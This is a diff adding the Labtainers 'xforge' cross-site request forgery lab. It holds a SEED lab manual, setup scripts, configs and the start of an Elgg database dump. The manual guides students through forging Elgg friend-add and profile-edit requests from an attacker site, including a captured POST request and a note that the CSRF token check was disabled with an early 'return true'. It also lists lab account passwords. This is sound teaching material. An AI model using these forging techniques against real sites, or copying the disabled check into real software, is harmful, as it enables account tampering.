this lab, students will be attacking a social networking web +application using the CSRF attack. The open-source social networking application called +{\tt Elgg} has +countermeasures against CSRF, but we have turned them off for the +purpose of this lab. + + +\section{Lab Environment} + +\newcommand{\urlorurls}{URLs } +\newcommand{\urlisorurlsare}{URLs are } + +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% +%%% Part I of the environment setup +\input{Web_Environment_PartI_Elgg} +%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +URL & Description & Directory\\ +\hline +\url{http://www.csrflabattacker.com} & Attacker web site & /var/www/CSRF/Attacker/ \\ +\url{http://www.csrflabelgg.com} & Elgg web site & /var/www/CSRF/Elgg/ \\ +\hline +\end{tabular} +\vspace{0.1in} + + +\subsection{Note for Instructors} + +This lab may be conducted in a +supervised lab environment. The instructor may provide the following +background information to students at the beginning of the lab session: +\begin{enumerate} + \item Information on how to use Labtainers. + \item How to use Firefox and its {\tt Web Developer / Network} Tool. + \item How to access the source code of the {\tt Elgg} web application. + \item Some very basic knowledge about JavaScript, HTTP, and PHP. + +\end{enumerate} + +\section{Background of CSRF Attacks} + +A CSRF attack involves three actors: a trusted site ({\tt +Elgg}), a victim user of the trusted site, and a malicious site. +The victim user simultaneously visits the +malicious site while holding an active session with the trusted site. +The attack involves the following sequence of steps: +\begin{enumerate} + \item The victim user logs into the trusted site using his/her + username and password, and thus creates a new session. + + \item The trusted site stores the session identifier for the session + in a cookie in the victim user's web browser. + + \item The victim user visits a malicious site. + + \item The malicious site's web page sends a + request to the trusted site from the victim user's browser. This + request is a cross-site request, because the site from where the request is + initiated is different from the site where the request goes to. + + \item By design, web browsers automatically attach the session cookie to + to the request, even if it is a cross-site request. + + \item The trusted site, if vulnerable to CSRF, may process the malicious + request forged by the attacker web site, because it does not know + whether the request is a forged cross-site request or a legitimate one. +\end{enumerate} + + +The malicious site can forge both HTTP GET and POST requests for the +trusted site. Some HTML tags such as \texttt{img}, \texttt{iframe}, +\texttt{frame}, and \texttt{form} have no restrictions on the URL that can +be used in their attribute. HTML \texttt{img}, \texttt{iframe}, and +\texttt{frame} can be used for forging GET requests. The HTML +\texttt{form} tag can be used for forging POST requests. +Forging GET requests is relatively easier, as it does not even need +the help of JavaScript; forging POST requests does need JavaScript. +Since {\tt Elgg} only uses POST, the tasks in this lab will +only involve HTTP POST requests. + +\section{Lab Tasks} + +For the lab tasks, you will use two web sites. +The first web site is the vulnerable \texttt{Elgg} +site accessible at \url{www.csrflabelgg.com} and running on the ``vuln-site'' +component. The second +web site is the attacker's malicious web site that is used for +attacking {\tt Elgg}. This web site is accessible via +\url{www.csrflabattacker.com} and runs on the ``attacker-site'' component. + + +\subsection{Task 1: CSRF Attack using GET Request} + +In this task, we need two people in the {\tt Elgg} social network: Alice +and Boby. Boby wants to become a friend to Alice, but Alice refuses to add +Boby to her {\tt Elgg} friend list. Boby decides to use the CSRF attack to +achieve his goal. He sends Alice an URL (via a posting in {\tt +Elgg}); Alice, curious about it, clicks on the URL, which leads her to Boby's web site: +{\tt www.csrflabattacker.com}. Pretend that you are Boby, describe how you +can construct the content of the web page, so as soon as Alice visits the +web page, Boby is added to the friend list of Alice (assuming Alice has an +active session with {\tt Elgg}). + + +To add a friend to the victim, we need to identify the Add Friend +HTTP request, which is a GET request. In this task, you are not allowed to +write JavaScript code to launch the CSRF attack. Your job is to make the +attack successful as soon as Alice visits the web page, without even making +any click on the page (hint: you can use the {\tt img} tag, which +automatically triggers an HTTP GET request). + + +\subsection{Task 2: CSRF Attack using POST Request} + +In this lab, we need two people in the {\tt Elgg} social network: Alice and Boby. Alice is +one of the developers of the SEED project, and she asks Boby to +endorse the SEED project by adding the message +{\tt "I support SEED project!"} in his {\tt Elgg} profile, but +Boby, who does not like hands-on lab activties, refuses to do so. +Alice is very determined, and she wants to try the CSRF attack on Boby. +Now, suppose you are Alice, your job is to launch such an attack. + +One way to do the attack is to post a message to Boby's {\tt Elgg} account, hoping that +Boby will click the URL inside the message. This URL will lead Boby to your +malicious web site {\tt www.csrflabattacker.com}, where you can launch the +CSRF attack. + +The objective of your attack is to modify the victim's profile. +In particular, the attacker needs to forge a request +to modify the profile information of the victim user of {\tt Elgg}. +Allowing users to modify their profiles is a feature of +{\tt Elgg}. If users want to modify their profiles, +they go to the profile page of {\tt Elgg}, fill out +a form, and then submit the form---sending a POST request---to +the server-side script {\tt /profile/edit.php}, which +processes the request and does the profile modification. + + +The server-side script {\tt edit.php} accepts both GET and POST requests, +so you can use the same trick as that in Task 1 to achieve the attack. +However, in this task, you are required to use the POST request. +Namely, attackers (you) need to forge an HTTP POST request from the victim's +browser, when the victim is visiting their malicious site. +Attackers need to know the structure of such a request. +You can observe the +structure of the request, i.e the parameters of the request, by making +some modifications to the profile and monitoring the request using +\texttt{Web Developer / Network} tools. You may see something similar to +the following (unlike HTTP {\tt GET} requests, which append +parameters to the URL strings, the parameters of HTTP {\tt POST} requests are +included in the HTTP message body): + +{\footnotesize +\begin{Verbatim}[frame=single] + http://csrflabelgg.com/action/profile/edit + +POST /action/profile/edit HTTP/1.1 +Host: www.csrflabelgg.com +User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:23.0) Gecko/20100101 Firefox/23.0 +Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 +Accept-Language: en-US,en;q=0.5 +Accept-Encoding: gzip, deflate +Referer: http://www.csrflabelgg.com/profile/elgguser1/edit +Cookie: Elgg=p0dci8baqrl4i2ipv2mio3po05 +Connection: keep-alive +Content-Type: application/x-www-form-urlencoded +Content-Length: 642 +__elgg_token=fc98784a9fbd02b68682bbb0e75b428b&__elgg_ts=1403464813 +&name=elgguser1&description=%3Cp%3Iamelgguser1%3C%2Fp%3E +&accesslevel%5Bdescription%5D=2&briefdescription= Iamelgguser1 +&accesslevel%5Bbriefdescription%5D=2&location=US +&accesslevel%5Blocation%5D=2&interests=Football&accesslevel%5Binterests%5D=2 +&skills=AndroidAppDev&accesslevel%5Bskills%5D=2 +&contactemail=elgguser%40xxx.edu&accesslevel%5Bcontactemail%5D=2 +&phone=3008001234&accesslevel%5Bphone%5D=2 +&mobile=3008001234&accesslevel%5Bmobile%5D=2 +&website=http%3A%2F%2Fwww.elgguser1.com&accesslevel%5Bwebsite%5D=2 +&twitter=hacker123&accesslevel%5Btwitter%5D=2&guid=39 +\end{Verbatim} +} + +After understanding the structure of the request, you need to +be able to generate the request from your attacking web page +using JavaScript code. +To help you write such a JavaScript program, we provide the +sample code in Figure~\ref{fig:jsscript} (in the appendix). +You can use this sample code to construct your malicious web site +for the CSRF attacks. + + +Note: Please check the {\tt single quote} characters in the program. When +copying and pasting the JavaScript program in Figure~\ref{fig:jsscript}, single quotes are encoded +into a different symbol. Replace the symbol with the correct single quote. + + +\paragraph{Questions.} +In addition to describing your attack in full details, you also need to +answer the following questions in your report: +\begin{itemize} + + \item {\em Question 1}: The forged HTTP request needs Boby's user + id (guid) to work properly. If Alice targets Boby specifically, before + the attack, she can find ways to get Boby's user id. Alice does not know + Boby's {\tt Elgg} password, so she cannot log into Boby's account to get + the information. Please describe how Alice can find out Boby's user id. + + + \item {\em Question 2:} If Alice would like to launch the attack to + anybody who visits her malicious web page. In this case, she does not + know who is visiting the web page before hand. Can she still launch the CSRF attack + to modify the victim's {\tt Elgg} profile? Please explain. + +\end{itemize} + + + +\subsection{Task 3: Implementing a countermeasure for {\tt Elgg}} + + +{\tt Elgg} does have a built-in countermeasures to +defend against the CSRF attack. +We have commented out the countermeasures to make the attack work. +CSRF is not difficult to defend against, and there are several common approaches: + +\begin{itemize} + \item {\em Secret-token approach}: Web applications can embed a secret token + in their pages, and all requests coming from these pages will carry this + token. Because cross-site requests cannot obtain this token, their + forged requests will be easily identified by the server. + + \item {\em Referrer header approach}: Web applications can also verify the origin page + of the request using the \emph{referrer} header. However, due to privacy + concerns, this header information may have already been filtered out + at the client side. +\end{itemize} + + +The web application {\tt Elgg} uses secret-token approach. +It embeds two parameters {\tt\_\_elgg\_ts} and {\tt\_\_elgg\_token} in the request as a countermeasure to CSRF attack. +The two parameters are added to the HTTP message body for the POST requests and to the URL string for the HTTP GET requests. + +\paragraph{{\tt Elgg} secret-token and timestamp in the body of the request:} + + +{\tt Elgg} adds security token and timestamp to all the user actions to be performed. +The following HTML code is present in all the forms where user action is required. +This code adds two new hidden parameters {\tt\_\_elgg\_ts} and {\tt\_\_elgg\_token} to the POST request: + +\begin{Verbatim}[frame=single] + + +\end{Verbatim} + +The {\tt\_\_elgg\_ts} and {\tt\_\_elgg\_token} are generated by the +\url{views/default/input/securitytoken.php} +module and added to the web page. +The code snippet below shows how it is dynamically added to the web page. +{\footnotesize +\begin{Verbatim}[frame=single] +$ts = time(); +$token = generate_action_token($ts); + +echo elgg_view('input/hidden', array('name' => '__elgg_token', 'value' => $token)); +echo elgg_view('input/hidden', array('name' => '__elgg_ts', 'value' => $ts)); +\end{Verbatim} +} + +{\tt Elgg} also adds the security tokens and timestamp to the JavaScript which can be accessed by + + \begin{verbatim} + elgg.security.token.__elgg_ts; + elgg.security.token.__elgg_token; + \end{verbatim} + +{\tt Elgg} security token is a hash value (md5 message digest) of the site secret value (retrieved from database), +timestamp, user sessionID and random generated session string. There by defending against the CSRF attack. +The code below shows the secret token generation in {\tt Elgg}. + + +{\footnotesize +\begin{Verbatim}[frame=single] +function generate_action_token($timestamp) +{ + $site_secret = get_site_secret(); + $session_id = session_id(); + // Session token + $st = $_SESSION['__elgg_session']; + + if (($site_secret) && ($session_id)) + { + return md5($site_secret . $timestamp . $session_id . $st); + } + + return FALSE; +} +\end{Verbatim} +} + + +The PHP function {\tt session\_id()} is used to get or set the session id for the current session. +The below code snippet shows random generated string for a given session {\tt\_\_elgg\_session} apart from public user Session ID. + +{\footnotesize +\begin{Verbatim}[frame=single] + ......... + ........ + // Generate a simple token (private from potentially public session id) + if (!isset($_SESSION['__elgg_session'])) { + $_SESSION['__elgg_session'] = ElggCrypto::getRandomString(32,ElggCrypto::CHARS_HEX); + ........ + ........ + +\end{Verbatim} +} + +\paragraph{{\tt Elgg} secret-token validation:} + + +The elgg web application validates the generated token and timestamp to defend against the CSRF attack. +Every user action calls {\tt validate\_action\_token} function and this function validates the tokens. +If tokens are not present or invalid, the action will be denied and the user will be redirected. + + +The below code snippet shows the function {\tt validate\_action\_token}. + +{\footnotesize +\begin{Verbatim}[frame=single] +function validate_action_token($visibleerrors = TRUE, $token = NULL, $ts = NULL) +{ + + if (!$token) { $token = get_input('__elgg_token'); } + if (!$ts) {$ts = get_input('__elgg_ts'); } + $session_id = session_id(); + if (($token) && ($ts) && ($session_id)) { + // generate token, check with input and forward if invalid + $required_token = generate_action_token($ts); + + // Validate token + if ($token == $required_token) { + + if (_elgg_validate_token_timestamp($ts)) { + // We have already got this far, so unless anything + // else says something to the contrary we assume we're ok + $returnval = true; + ........ + ........ + } + Else { + ........ + ........ + register_error(elgg_echo('actiongatekeeper:tokeninvalid')); + ........ + ........ + } + ........ + ........ +} +\end{Verbatim} +} + +\paragraph{Turn on countermeasure:} + + +To turn on the countermeasure, please go to the directory +\url{elgg/engine/lib} and +find the function {\tt action\_gatekeeper} in the {\tt actions.php} file. +In function {\tt action\_gatekeeper} please comment out the +{\tt "return true;"} statement as specified in the code comments. + +{\footnotesize +\begin{Verbatim}[frame=single] +function action_gatekeeper($action) { + + //SEED:Modified to enable CSRF. + //Comment the below return true statement to enable countermeasure + return true; + + ........ + ........ +} +\end{Verbatim} +} + +\paragraph{Task:} +After turning on the countermeasure above, try the CSRF attack again, +and describe your observation. Please point out the secret tokens in the +HTTP request captured using {\tt Web Developer / Network} tools. Please explain why +the attacker cannot send these secret tokens in the CSRF attack; what +prevents them from finding out the secret tokens from the web page? + + +\section{Submission} +You need to submit a detailed lab report to describe what you have +done and what you have observed. Please provide details using +{\tt Web Developer / Network} tools, and/or screenshots. +You also need to provide explanation +to the observations that are interesting or surprising. +If you edited your lab report on a separate system, copy it back to the Linux system at the location +identified when you started the lab, and do this before running the stoplab command. +After finishing the lab, go to the terminal on your Linux system that was used to start the lab and type: +\begin{verbatim} + stoplab xforge +\end{verbatim} +When you stop the lab, the system will display a path to the zipped lab results on your Linux system. Provide that file to +your instructor, e.g., via the Sakai site. + + +\begin{thebibliography}{10} + + +\bibitem{elgg} +{\tt Elgg} documentation: +\newblock \url{http://docs.elgg.org/wiki/Main_Page}. + +\bibitem{JSstring} +JavaScript String Operations. +\newblock \url{http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference}. + +\bibitem{sessionsecurityelgg} +Session Security {\tt Elgg}. +\newblock \url{http://docs.elgg.org/wiki/Session_security}. + +\bibitem{formsactionselgg} +Forms + Actions {\tt Elgg} +\newblock \url{http://learn.elgg.org/en/latest/guides/actions.html}. + +\bibitem{phpfunctionsession} +PHP:Session\_id - Manual: +\newblock \url{http://www.php.net//manual/en/function.session-id.php}. + + +\end{thebibliography} + + +\appendix + +\begin{figure} +{\footnotesize +\begin{Verbatim}[frame=single] +

+ This page forges an HTTP POST request. +

+ + +\end{Verbatim} +} +\caption{Sample JavaScript program} +\label{fig:jsscript} +\end{figure} + + +\end{document} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_Environment_PartI_Elgg.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_Environment_PartI_Elgg.tex new file mode 100644 index 000000000..cf4faefa1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/Web_Environment_PartI_Elgg.tex @@ -0,0 +1,64 @@ +%\section{Lab Environment} + +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer xforge +\end{verbatim} +Links to this lab manual and to an empty lab report will be displayed. If you create your lab report on a separate system, +be sure to copy it back to the specified location on your Linux system. + +\subsection{Environment Configuration} +This lab includes four networked computers as shown in +Figure~\ref{fig:topology}. +The "vuln-server" runs the Apache web server and the {\tt Elgg} web +applications. The "attacker" and "victim" computers each include +the Firefox browser, including the \texttt{Web Developer / Network} tools within Firefox to +inspect the HTTP requests and responses. + +\begin{figure}[htb] +\begin{center} +\includegraphics [width=0.8\textwidth,natwidth=621,natheight=403]{xforge.jpg} +\end{center} +\caption{Cross site scripting lab topology} +\label{fig:topology} +\end{figure} + + +\paragraph{Starting the Apache Server.} +The Apache web server will be running when the lab +commences. If you need to restart the web server, use +the following command: +\begin{verbatim} + % sudo systemctl restart httpd +\end{verbatim} + +\paragraph{The {\tt Elgg} Web Application.} +We use an open-source web application called {\tt Elgg} in this lab. +{\tt Elgg} is a web-based social-networking application. +It is already set up in on the vuln-server. +We have also created several user accounts on the {\tt Elgg} server and the credentials are given below. + + +\vspace{0.1in} +\begin{tabular}{|l|l|l|} +\hline +User & UserName & Password\\ +\hline +Admin & admin & seedelgg \\ +Alice & alice & seedalice \\ +Boby & boby & seedboby \\ +Charlie & charlie & seedcharlie \\ +Samy & samy & seedsamy \\ +\hline +\end{tabular} +\vspace{0.1in} + + +\paragraph{Configuring DNS.} +We have configured the following \urlorurls needed for this lab: diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/header.tex new file mode 100644 index 000000000..feb73a788 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/header.tex @@ -0,0 +1,193 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +%\usepackage{cases} +%\usepackage{ltexpprt} +%\usepackage{verbatim} + +%\topmargin -0.70in % distance to headers +%\headheight 0.2in % height of header box +%\headsep 0.4in % distance to top line +%\footskip 0.3in % distance from bottom line + +% Horizontal alignment +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2014\ \ Wenliang Du, Syracuse University.\\ + The development of this document is/was funded by the following grants from + the US National Science Foundation: No. 1303306 and 1318814. + This lab was imported into the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + +\newcommand{\copyrightnoticeA}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small Copyright \copyright\ 2006\ \ Wenliang Du, Syracuse University.\\ + The development of this document was partially funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document + under the terms of the GNU Free Documentation License, Version 1.2 + or any later version published by the Free Software Foundation. + A copy of the license can be found at http://www.gnu.org/licenses/fdl.html.}} +\vspace{0.1in} +} + + +\newcommand{\nocopyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{\small + The development of this document is funded by + the National Science Foundation's Course, Curriculum, and Laboratory + Improvement (CCLI) program under Award No. 0618680 and 0231122. + Permission is granted to copy, distribute and/or modify this document. + }} +\vspace{0.1in} +} + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\minix}{{\tt Minix}\xspace} +\newcommand{\unix}{{\tt Unix}\xspace} +\newcommand{\linux}{{\tt Linux}\xspace} +\newcommand{\ubuntu}{{\tt Ubuntu}\xspace} +\newcommand{\selinux}{{\tt SELinux}\xspace} +\newcommand{\freebsd}{{\tt FreeBSD}\xspace} +\newcommand{\solaris}{{\tt Solaris}\xspace} +\newcommand{\windowsnt}{{\tt Windows NT}\xspace} +\newcommand{\setuid}{{\tt Set-UID}\xspace} +%\newcommand{\smx}{{\tt Smx}\xspace} +\newcommand{\smx}{{\tt Minix}\xspace} +\newcommand{\relay}{{\tt relay}\xspace} +\newcommand{\isys}{{\tt iSYS}\xspace} +\newcommand{\ilan}{{\tt iLAN}\xspace} +\newcommand{\iSYS}{{\tt iSYS}\xspace} +\newcommand{\iLAN}{{\tt iLAN}\xspace} +\newcommand{\iLANs}{{\tt iLAN}s\xspace} +\newcommand{\bochs}{{\tt Bochs}\xspace} + +\newcommand\FF{{\mathcal{F}}} + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +%\pagestyle{fancyplain} +%\lhead[\thepage]{\thesection} % Note the different brackets! +%\rhead[\thesection]{SEED Laboratories} +%\lfoot[\fancyplain{}{}]{Syracuse University} +%\cfoot[\fancyplain{}{}]{\thepage} + +\newcommand{\tstamp}{\today} +%\lhead[\fancyplain{}{\thepage}] {\fancyplain{}{\rightmark}} +%\chead[\fancyplain{}{}] {\fancyplain{}{}} +%\rhead[\fancyplain{}{\rightmark}] {\fancyplain{}{\thepage}} +%\lfoot[\fancyplain{}{}] {\fancyplain{\tstamp}{\tstamp}} +%\cfoot[\fancyplain{\thepage}{}] {\fancyplain{\thepage}{}} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +%\lhead{\bfseries Computer Security Course Project} +\lhead{\bfseries SEED Labs} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/read_first.txt new file mode 100644 index 000000000..75a068f82 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/xforge.pdf +A lab report template is at + file://LAB_DOCS/xforge-report.docx + +You may open these by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge-report.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge-report.docx new file mode 100644 index 000000000..e02abfc9b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge-report.docx @@ -0,0 +1 @@ + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge.jpg b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge.jpg new file mode 100755 index 000000000..d57c2b6f7 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/docs/xforge.jpg differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/goals.config new file mode 100644 index 000000000..9a463a737 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide +#SUM: No automated assessment for this lab + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/results.config new file mode 100644 index 000000000..d9a53e741 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/instr_config/results.config @@ -0,0 +1,5 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide +friend_get = vuln-site:/var/www/csrflabelgg.com : FILE_REGEX : 172.25.0.2 - - .* "GET /action/friends/add?friend=40 HTTP/1.1" 302 - "http://www.csrflabattacker.com/" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/dosql.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/dosql.sh new file mode 100755 index 000000000..ecfb647a7 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/dosql.sh @@ -0,0 +1,14 @@ +#!/bin/bash +while [ 1 ]; do + date + mysql -u root -e "SET PASSWORD FOR 'root'@'localhost' = PASSWORD('seedubuntu')" + result=$? + if [[ $result == 0 ]]; then + break + else + echo no server, sleep + sleep 1 + fi +done +mysql -u root -pseedubuntu -e "CREATE DATABASE if not exists myelgg; " +mysql -u root -pseedubuntu myelgg < $HOME/myelgg.sql diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/fixlocal.sh new file mode 100755 index 000000000..5b6a68a32 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_bin/fixlocal.sh @@ -0,0 +1,12 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +date +$HOME/.local/bin/dosql.sh & +date diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-available/csrflabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-available/csrflabelgg.com.conf new file mode 100644 index 000000000..2ae2b73da --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-available/csrflabelgg.com.conf @@ -0,0 +1,14 @@ + + ServerName http://www.csrflabelgg.com + DocumentRoot /var/www/csrflabelgg.com/elgg + ServerAlias csrflabelgg.com + ErrorLog /var/www/csrflabelgg.com/error.log + CustomLog /var/www/csrflabelgg.com/requests.log combined + + + AllowOverride All + Options None + Require all granted + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-enabled/csrflabelgg.com.conf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-enabled/csrflabelgg.com.conf new file mode 120000 index 000000000..659b50457 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/etc/httpd/sites-enabled/csrflabelgg.com.conf @@ -0,0 +1 @@ +../sites-available/csrflabelgg.com.conf \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/sbin/faux_init new file mode 100755 index 000000000..73b18865f --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/_system/sbin/faux_init @@ -0,0 +1,19 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/myelgg.sql b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/myelgg.sql new file mode 100644 index 000000000..8fe7509cd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/xforge/vuln-site/myelgg.sql @@ -0,0 +1,687 @@ +-- MySQL dump 10.13 Distrib 5.6.38, for Linux (x86_64) +-- +-- Host: localhost Database: myelgg +-- ------------------------------------------------------ +-- Server version 5.6.38 + +/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; +/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; +/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; +/*!40101 SET NAMES utf8 */; +/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */; +/*!40103 SET TIME_ZONE='+00:00' */; +/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */; +/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS, FOREIGN_KEY_CHECKS=0 */; +/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO' */; +/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */; + +-- +-- Table structure for table `elgg_access_collection_membership` +-- + +DROP TABLE IF EXISTS `elgg_access_collection_membership`; +/*!40101 SET @saved_cs_client = @@character_set_client */; +/*!40101 SET character_set_client = utf8 */; 